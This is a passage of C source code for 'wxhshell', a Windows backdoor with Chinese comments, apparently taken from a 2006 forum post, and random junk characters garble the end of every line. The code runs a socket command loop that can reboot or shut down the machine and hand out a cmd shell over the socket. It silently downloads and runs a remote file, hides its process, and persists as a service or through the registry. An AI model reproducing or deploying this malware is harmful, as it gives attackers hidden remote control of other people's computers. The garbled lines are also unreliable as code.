  Xl '\krz  
  // 帮助 ~"hAb2  
  case '?': { 3mnLV*aRt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @b(gjOE  
    break; $4fjSSB~  
  } $;g%S0:3)  
  // 安装 q0xE&[C[M  
  case 'i': { Luu-c<*M  
    if(Install()) wMR[*I/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?FtncL%D  
    else YP@ ?j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CH|g   
    break; N'q/7jOy  
    } q@=#`746e  
  // 卸载 kK_>*iCMo  
  case 'r': { d#$i/&gE  
    if(Uninstall()) ,YuWz$aF{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;/]c^y  
    else /E1c#@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ok W)s*7  
    break; 6CzvRvA*P  
    } ,J4a~fPf  
  // 显示 wxhshell 所在路径 !&:.Uh  
  case 'p': { A'P}mrY  
    char svExeFile[MAX_PATH]; R,k[Kh  
    strcpy(svExeFile,"\n\r"); ~S<F  
      strcat(svExeFile,ExeFile); [&k& $04_  
        send(wsh,svExeFile,strlen(svExeFile),0); %PNm7s4x2  
    break; X/C54%T ~  
    } iH -x  
  // 重启 5;uX"z G  
  case 'b': { M<me\s)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mfi'>o#  
    if(Boot(REBOOT)) gB'Ah-@,P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [!|d[  
    else { !t [%'!v  
    closesocket(wsh); BsG[#4KM:  
    ExitThread(0); KARQKFp!C>  
    } LZ<( :S  
    break; ur_"m+  
    } /Gu2@m[r  
  // 关机 )6S}O* 1  
  case 'd': { {;rpgc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); za 4B+&JJ  
    if(Boot(SHUTDOWN)) 7QRvl6cv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *d*;M>  
    else { ~$`YzK^*X  
    closesocket(wsh); */m~m?  
    ExitThread(0); '/)_{Ly  
    } k*+ZLrT  
    break; N`^W*>XB  
    } loVvr"&g  
  // 获取shell a5g{.:NfO  
  case 's': { /bj`%Q.n  
    CmdShell(wsh); wUPywV1UO  
    closesocket(wsh); q|_ 5@Ly  
    ExitThread(0); > ]N0w  
    break; z.F+$6  
  } 79fyn!Iz<  
  // 退出 ;DWp>jgy  
  case 'x': { ~8 a>D<b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y:Tt$EQ  
    CloseIt(wsh); ~2qG" 1[\  
    break; /hy!8c7  
    } Xg)FIaw]eT  
  // 离开 w9h5f  
  case 'q': { w)c#ZJHG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K>~cY%3^i  
    closesocket(wsh); EJ|ZZYke!  
    WSACleanup(); !ZcA Ltq  
    exit(1); Cjb p-  
    break; PqeQe5  
        } KTREOOu .t  
  } y#W8] <dS"  
  } g5HqU2  
ZuV  
  // 提示信息 !a&F:Fbm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <%5uzlp  
} 545xs`Q_  
  } ~}l,H:jk@  
G#M]\)f%  
  return; VL1z$<vVXt  
} @"5u~o')@v  
^IZ0M1&W;  
// shell模块句柄 AR2+W^aM3  
int CmdShell(SOCKET sock) ?Qp_4<(5  
{ im\Ws./  
STARTUPINFO si; p ;01a  
ZeroMemory(&si,sizeof(si)); -$p-o Z)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QVhBHAw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AH,F[ vS  
PROCESS_INFORMATION ProcessInfo; P"VLGa  
char cmdline[]="cmd"; b%$C!Tq'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |"*:ZSj  
  return 0; No+zw%l0E  
} $h f\ #'J  
Nd)o1 {I  
// 自身启动模式 O&%T_Zk@@  
int StartFromService(void) ps J 1J  
{ ~Q]M_,`M  
typedef struct cK/odOi  
{ >QPS0Vx[  
  DWORD ExitStatus; gQG iph |  
  DWORD PebBaseAddress; B75SLK:h=  
  DWORD AffinityMask; Y'R1\Go-  
  DWORD BasePriority; ;sJ2K"c  
  ULONG UniqueProcessId; (]dZ+"O{  
  ULONG InheritedFromUniqueProcessId; 'D{abm0  
}   PROCESS_BASIC_INFORMATION; o%7yhCY  
?2Dz1#%D  
PROCNTQSIP NtQueryInformationProcess; Kj5f:{Ur  
*a@UV%u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )9,"~P2[R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hn.UJ4V  
J'v|^`bE  
  HANDLE             hProcess; 3E9j%sYk  
  PROCESS_BASIC_INFORMATION pbi; CAO{$<M5m  
MQu6Tm H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vnpX-c  
  if(NULL == hInst ) return 0; W5{e.eI}|  
[ V~bo/n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [Xg"B|FD0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &Gl&m@-j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sP!qv"u  
4v$AM8/o  
  if (!NtQueryInformationProcess) return 0; g#*N@83C  
aKO@_R,:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VVOt%d  
  if(!hProcess) return 0; W=:+f)D  
} U.B$4Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -t?G8,,  
c^%k1pae(  
  CloseHandle(hProcess); +UtK2<^:o  
egvWPht'_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9IV WbJ  
if(hProcess==NULL) return 0; gw^+[}U#  
TMBdneS-s  
HMODULE hMod; `Ea3z~<7M  
char procName[255]; 7\ lb+^$  
unsigned long cbNeeded; .S;/v--F  
4vphLAm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4{pa`o3  
wr(?L7 $+  
  CloseHandle(hProcess); &rubA  
)2S\:&x  
if(strstr(procName,"services")) return 1; // 以服务启动 DQ$/0bq   
:h@:F7N _  
  return 0; // 注册表启动 ?9cy5z[  
} b :00w["  
JZ [&:  
// 主模块 0Og =H79<  
int StartWxhshell(LPSTR lpCmdLine) Ns_d10rZ.  
{ @ Ia ~9yOY  
  SOCKET wsl;  V Euv  
BOOL val=TRUE; fz*6 B NJ  
  int port=0; "-sz7}Mb  
  struct sockaddr_in door; 3 a`-_<  
TEtZ PGFl  
  if(wscfg.ws_autoins) Install(); B=7L+6  
WD:5C3;  
port=atoi(lpCmdLine); tti.-  
Nnw iH  
if(port<=0) port=wscfg.ws_port; v)06`G  
l3,|r QD  
  WSADATA data; RD^o&VXO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5h&8!!$[  
D? ($R9t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =z+zg^wsT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JT+P>\\];'  
  door.sin_family = AF_INET; Y]PZ| G)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d{ &z^  
  door.sin_port = htons(port); 4-MA!&  
827N?pU$)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |8"HTBb\CW  
closesocket(wsl); ofJ@\xS  
return 1; J7H1<\=cJb  
} G+ToZ&f@  
e=U7w7(s9  
  if(listen(wsl,2) == INVALID_SOCKET) { Yi:+,-Fso  
closesocket(wsl); qXW 5_iX  
return 1; @4pN4v8U  
} P&K~wP]  
  Wxhshell(wsl); btOC\bUMfD  
  WSACleanup(); 51A>eU|  
Kf*+Ilq%L  
return 0; /T?['#:r-)  
f`Nu]#i  
} /CP1mn6H  
\*7Tj-#  
// 以NT服务方式启动 }.#C9<"}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?Gb 18m  
{ #8A|-u=3  
DWORD   status = 0; BkcOsJIz  
  DWORD   specificError = 0xfffffff; lp6GiF  
I$YF55uB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z;-2xD0&U[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _.j KcDf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2axH8ONMu  
  serviceStatus.dwWin32ExitCode     = 0; c7'Pzb)'  
  serviceStatus.dwServiceSpecificExitCode = 0; W];4P=/  
  serviceStatus.dwCheckPoint       = 0; VGSe<6Hh  
  serviceStatus.dwWaitHint       = 0; G2mv6xK'  
XG0,@Ly  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [bAv|;  
  if (hServiceStatusHandle==0) return; m2_B(-  
>o@WT kF]  
status = GetLastError(); h' 16"j>  
  if (status!=NO_ERROR) >y1/*)O9~  
{ F](kU#3"S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :Z<-J`  
    serviceStatus.dwCheckPoint       = 0; {pVD`#Tl[  
    serviceStatus.dwWaitHint       = 0; M$w^g8F27H  
    serviceStatus.dwWin32ExitCode     = status; 18Ty )7r'  
    serviceStatus.dwServiceSpecificExitCode = specificError; $ _ gMJ\{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wJ{M&n1H  
    return; >4;A (s`  
  } ydpsPU?wj5  
^uYxeQY[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~q<U E\H  
  serviceStatus.dwCheckPoint       = 0; TygR G+G-  
  serviceStatus.dwWaitHint       = 0; >8ePx,+!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KNV$9&Z  
} IuPwFf)  
X/?3ifP6I  
// 处理NT服务事件,比如:启动、停止 C; ! )<(Vw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u+hzCCwtR  
{ x ha!.&DO  
switch(fdwControl) JTVCaL3Z  
{ tL D.e  
case SERVICE_CONTROL_STOP: *F=w MWa  
  serviceStatus.dwWin32ExitCode = 0; 2Ddrxc>48  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hF6EOCY6D  
  serviceStatus.dwCheckPoint   = 0; )4j#gHN\  
  serviceStatus.dwWaitHint     = 0; &0M^UvO  
  { 98x(2fCvF(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mgS%YG  
  } @n<WM@|l  
  return; B;^7Yu0,  
case SERVICE_CONTROL_PAUSE: oSxHTbp?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m@OgT<E]_  
  break;  Y]P]^3  
case SERVICE_CONTROL_CONTINUE: dq[CT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vQztD _bX%  
  break; QGfU:  
case SERVICE_CONTROL_INTERROGATE: Kg9REL@,s  
  break; 1'M< {h<sP  
}; RzXxnx)]q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o <sX6a9e  
} /z6NJ2jb  
]e R1 +Nl  
// 标准应用程序主函数 |FH/Q-7[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) an.)2*u  
{ je.mX/Lpj  
JIDE]f  
// 获取操作系统版本 +.{_n(kU  
OsIsNt=GetOsVer(); 'H:lR1(,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iz>a0~(K  
4u A ;--j  
  // 从命令行安装 jRzR`>5  
  if(strpbrk(lpCmdLine,"iI")) Install(); X#IVjc:&L  
LDO@$jg  
  // 下载执行文件 % `\8z  
if(wscfg.ws_downexe) { 6dV92:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^qGH77#z  
  WinExec(wscfg.ws_filenam,SW_HIDE); u.R:/H<>~  
} pz~AsF  
rJ K~kKG  
if(!OsIsNt) { BHqJ~2&FDW  
// 如果时win9x,隐藏进程并且设置为注册表启动 zAS&L%^tV  
HideProc(); 27}k63\  
StartWxhshell(lpCmdLine); }B^KV#_{S  
} ybcQ , e  
else <5G*#0gw  
  if(StartFromService()) d'J))-*#UO  
  // 以服务方式启动 qVx0VR1:  
  StartServiceCtrlDispatcher(DispatchTable); 8g^OXZ   
else c(i-~_  
  // 普通方式启动 s9zdg"c'  
  StartWxhshell(lpCmdLine); 0O|T\E8 e  
e%o6s+"  
return 0; >DpnIWn  
}
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只看该作者 1 发表于: 2006-10-10
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